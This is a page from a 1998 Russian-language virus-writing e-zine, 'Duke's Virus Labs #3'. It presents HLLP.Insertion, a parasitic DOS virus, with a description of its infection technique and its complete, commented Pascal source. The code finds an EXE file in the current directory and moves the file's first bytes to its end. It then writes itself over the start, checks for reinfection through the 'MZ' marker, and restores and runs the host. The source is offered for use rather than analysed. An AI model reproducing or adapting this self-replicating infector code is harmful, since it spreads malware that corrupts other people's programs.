- [Duke's Virus Labs #3] - [Page 13] - HLLP.Insertion (c) by Duke/SMF Имя вируса : HLLP.Insertion Автор : Duke/SMF Дата создания : 04.12.98 Простейший паразит на паскале, хорошо откомментированный :)) Поражает один EXE-файл в текущем каталоге, если длина файла >= длины вируса. В зависимости от версии поражает/не поражает файлы с атрибутом Read-Only. При заражении вирус использует стандартный прием: переносит VirusSize байт из начала жертвы в ее конец, а сам записывается на это место. Вирус делает проверку на повторное заражение. Для этого он проверяет байты, находящиеся на позиции VirusSize от конца вируса (VirusSize - длина вируса). Если эти байты отличаются от "MZ", то делается вывод о том, что файл еще не поражен, и жертва тут же поражается ;) Вирус сохраняет параметры командной строки жертвы. Перед запуском пораженного файла вирус возвращает ему первоначальный вид, поэтому возможно поражение программ, контролирующих свою целостность. ===== Cut here ===== {$M 3000, 0, 65535} program insertion_2_0; uses dos; const len=5200; {Длина программы} var a,b:file; {"А"-исходный, "В"-новый} nam:searchrec; w:array[1..len] of byte; w1:array[1..len] of byte; t:boolean; s:string; {------------------------------} procedure DOP; var par:string; i:byte; begin {Возвращаем "А" первоначальный вид:} seek(a,filesize(a)-len); {Указатель поставлен на начало save-"А".} BlockRead(a,w,len); {Save-"A" считан в массив W.} seek(a,0); {Указатель поставлен на начало "А".} BlockWrite(a,w,len); {Массив W записан в начало "А".} seek(a,filesize(a)-len); {Указатель поставлен на начало save-"А".} truncate(a); {Отбрасывается save-часть "А".} close(a); {Закрываем "А"} for i:=1 to paramcount do par:=par+paramstr(i)+' '; exec(s,par); {Запускаем "А"} assign(a,s); {Заново открываем "А"} reset(a,1); seek(a,0); {Указатель на начало "A"} BlockRead(a,w,len); {Читаем начало "A"} seek(a,filesize(a)); {Указатель на конец "A"} BlockWrite(a,w,len); {Сохраняем начало в конце "A"} seek(a,0); {Устанавливаем указатель на начало "А"} BlockWrite(a,w1,len); {Возвращаем VIR в начало "А"} close(a); {Закрываем "А"} end; {--------------------------------------------------------------------------} procedure Insertion(st:string); {Процедура заражения файла} begin assign(b,st);reset(b,1); assign(a,s);reset(a,1); {Открываем "А".} {Сохранение начала "В" :} seek(b,0); {Указатель поставлен на начало "В".} BlockRead(b,w,len); {Начало "В" считано в массив W.} seek(b,filesize(b)); {Указатель поставлен на конец "В".} BlockWrite(b,w,len); {Массив W записан в конец "В".} {Запись нового начала "В" :} {seek(a,0); {Указатель поставлен на начало "А".} BlockRead(a,w1,len); {Читаем начало "А" в W1.} seek(b,0); {Указатель поставлен на начало "В".} BlockWrite(b,w1,len); {Пишем W1 в начало "В".} close(b); {Закрываем "В".} close(a); t:=true; end; {--------------------------------------------------------------------------} procedure check(st:string); {проверка на зараженность} var c,d:byte; begin assign(b,st);reset(b,1); if filesize(b)<=len then {не заражаем файлы длиной} begin { меньше длины вируса} close(b); exit; end; seek(b,filesize(b)-len); blockread(b,c,1);blockread(b,d,1); if (c<>ord('M')) or (d<>ord('Z')) then Insertion(st) else close(b); end; {-------------------------------------------------------------------------} begin asm jmp @lab db 'Insertion v2.0 (c) by Duke/SMF',0 @lab: end; s:=paramstr(0); t:=false; findfirst('*.exe',$20,nam); {Поиск подходящего файла:} check(nam.name); while (doserror=0) and (t=false) do begin findnext(nam); check(nam.name); end; assign(a,s);reset(a); if filesize(a)<=len then close(a) else DOP; end. ===== Cut here =====